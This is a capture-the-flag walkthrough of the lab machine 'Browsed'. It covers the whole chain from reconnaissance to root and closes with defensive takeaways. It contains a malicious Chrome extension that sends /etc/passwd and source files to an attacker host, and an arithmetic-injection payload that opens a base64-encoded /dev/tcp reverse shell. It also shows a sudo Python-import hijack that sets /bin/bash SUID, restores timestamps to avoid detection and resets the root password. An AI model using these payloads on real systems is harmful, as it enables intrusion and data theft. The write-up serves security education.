HTB-Browsed

Overview
Browsed is a medium-difficulty Linux machine centred around a web application that accepts Chrome browser extensions as ZIP uploads and executes them in a sandboxed Chrome instance. The attack chain begins with a malicious Chrome extension that exfiltrates local files, leading to the discovery of an internal Flask application vulnerable to arithmetic command injection. Privilege escalation abuses a writable Python utility library loaded by a sudo-permitted script, resulting in a SUID /bin/bash and full root access.
Reconnaissance
Port Scan
nmap -Pn -sC -sT -sV -O -A 10.129.2.200
The scan reveals two open ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu |
| 80 | HTTP | nginx 1.24.0 (Ubuntu) |

The HTTP title is "Browsed" and the device is identified as a general-purpose router running Linux 4.15–5.19. A quick curl -I confirms nginx is serving standard HTML content.

Foothold — Malicious Chrome Extension
Application Enumeration
Navigating to http://10.129.2.200 presents a page titled Browsed.htb with a single feature: an Upload Chrome Extension (.zip) form. The description states that "a developer will use it and reach back with some feedback" — a strong hint that a headless browser on the server side loads and executes whatever extension is uploaded.

Crafting the Extension
A minimal Chrome Manifest V3 extension is crafted with full file and host permissions:
manifest.json
{
"manifest_version": 3,
"name": "Feedback Tool",
"version": "1.0",
"background": {
"service_worker": "background.js"
},
"permissions": ["tabs", "scripting"],
"host_permissions": ["file:///*", "http://*/", "https://*/"]
}

background.js — Initial probe to confirm execution and read /etc/passwd:
// 1. Confirm execution
fetch('http://10.10.14.200:8000/executing');
// 2. Read /etc/passwd and exfiltrate
async function readFile() {
try {
const response = await fetch('file:///etc/passwd');
const text = await response.text();
fetch('http://10.10.14.200:8000/data?c=' + btoa(text));
} catch (err) {
fetch('http://10.10.14.200:8000/error?msg=' + btoa(err.message));
}
}
readFile();

A Python HTTP server (python3 -m http.server 8000) is started on the attacker machine to receive callbacks.

Execution and File Exfiltration
Upon uploading the ZIP, the server-side Chrome instance loads the extension and immediately beacons back, confirming code execution. The base64-encoded /etc/passwd arrives in the server logs. Decoding it reveals two interesting users with shell access:
larry:x:1000:1000::/home/larry:/bin/bash
git:x:110:110:Git Version Control,,,:/home/git:/bin/bash

Enumerating Internal File Paths
The extension is refined to iterate over a list of interesting paths — process status, environment variables, web application source, and SSH files — exfiltrating each one:
const files = [
'file:///proc/self/status',
'file:///proc/self/environ',
'file:///var/www/html/index.php',
'file:///var/www/html/upload.php',
'file:///opt/browsed/index.php',
'file:///home/git/index.php',
'file:///home/git/.gitconfig',
'file:///home/larry/.gitconfig',
'file:///home/git/.ssh/known_hosts',
'file:///home/larry/.ssh/known_hosts',
'file:///home/larry/.ssh/authorized_keys',
];
files.forEach(path => {
fetch(path)
.then(r => r.text())
.then(t => fetch('http://10.10.14.200:8000/data?f=' + btoa(path) + '&c=' + btoa(t)))
.catch(e => fetch('http://10.10.14.200:8000/error?f=' + btoa(path) + '&msg=' + btoa(e.toString())));
});
The source of the upload handler (upload.php) is recovered. Key insight: Chrome is launched with the uploaded extension and browses to http://localhost/ and http://browsedinternals.htb — explaining the internal access the extension has.

Internal Application — Flask Markdown Previewer
Source Code Analysis
Reviewing the exfiltrated application source (discovered running internally on port 5000 as a Flask app at /home/larry/markdownPreview/) reveals several routes:

GET /— Markdown editor formPOST /submit— Converts markdown to HTML and saves tofiles/GET /files— Lists saved HTML filesGET /view/<filename>— Serves saved files viasend_from_directoryGET /routines/<rid>— Vulnerable endpoint
The routines handler passes user input directly as an argument to routines.sh:
@app.route('/routines/<rid>')
def routines(rid):
subprocess.run(["./routines.sh", rid])
return "Routine executed!"
The shell script uses an unquoted $1 inside an arithmetic comparison context [[ "$1" -eq 0 ]]. Bash's arithmetic evaluation is exploited through arithmetic injection: when $1 is not a plain integer, bash evaluates it as an expression — including command substitution.

Reverse Shell via Arithmetic Injection
The payload uses $(...) inside the numeric comparison to execute arbitrary commands:
// background.js — Reverse shell
async function revshell() {
const b64 = "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMDAvNDQzIDA+JjE=";
// Decodes to: bash -i >& /dev/tcp/10.10.14.200/443 0>&1
const target = "http://127.0.0.1:5000/routines/";
const payload = `a[$(echo "${b64}"|base64 -d|bash)]+42`;
const finalUrl = target + encodeURIComponent(payload);
fetch(finalUrl, { mode: "no-cors" }).catch(() => {});
}
revshell();
The extension is uploaded, a netcat listener is started (rlwrap nc -l -p 443 -s 10.10.14.200), and a shell is returned as larry.
User Flag
larry@browsed:~$ cat user.txt
[REDACTED]

Privilege Escalation — Python Library Hijack
Sudo Enumeration
larry@browsed:~$ sudo -l
Output shows:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py

Larry can run /opt/extensiontool/extension_tool.py as root without a password. Listing the directory reveals:
/opt/extensiontool/
├── extensions/
├── extension_tool.py
├── extension_utils.py ← imported by extension_tool.py
└── __pycache__/
Exploiting a Writable Import
extension_utils.py is imported by extension_tool.py and is writable by larry. The exploit injects a chmod payload into the module that makes /bin/bash SUID when the file is imported by the sudo-run script.
The injection targets the byte content of extension_utils.py directly, inserting the payload immediately after the validate_manifest function definition to avoid syntax errors. Timestamps are then restored to avoid detection, the .pyc cache is recompiled and copied to __pycache__, and the privileged script is triggered:
sudo /opt/extensiontool/extension_tool.py --ext Timer --zip test.zip
The injected import executes as root, setting /bin/bash SUID:
larry@browsed:~/.ssh$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash

Root Shell
/bin/bash -p
bash-5.2# python -c "import os; os.setuid(0); os.setgid(0); os.system('passwd root')"
New password: password123
Retype new password: password123
passwd: password updated successfully
bash-5.2# su -
Password: password123
root@browsed:~# cat root.txt
[REDACTED]

Attack Chain Summary
[Recon] nmap → ports 22, 80
↓
[Web] Upload malicious Chrome extension (MV3)
↓
[File Read] Exfiltrate /etc/passwd, source code via file:// fetch
↓
[Internal App] Discover Flask app on localhost:5000
↓
[RCE] Arithmetic injection in /routines/<rid> → reverse shell as larry
↓
[PrivEsc] Writable extension_utils.py imported by sudo script
↓
[Root] SUID /bin/bash → root shell
Key Takeaways
- Chrome extension sandboxing is not a security boundary on its own — a headless browser that loads untrusted extensions and has access to
file://URIs is a powerful file-read primitive. - Bash arithmetic context (
[[ $var -eq N ]]) evaluates command substitutions, making unvalidated route parameters into command injection when passed to shell scripts. - Python library hijacking is a classic but effective privesc: if a sudo-permitted script imports a module from a world-writable path, any user can inject code that runs as root.
- Always audit
sudo -loutput carefully — NOPASSWD scripts that import local modules or call external files are high-value targets.
Return1. Home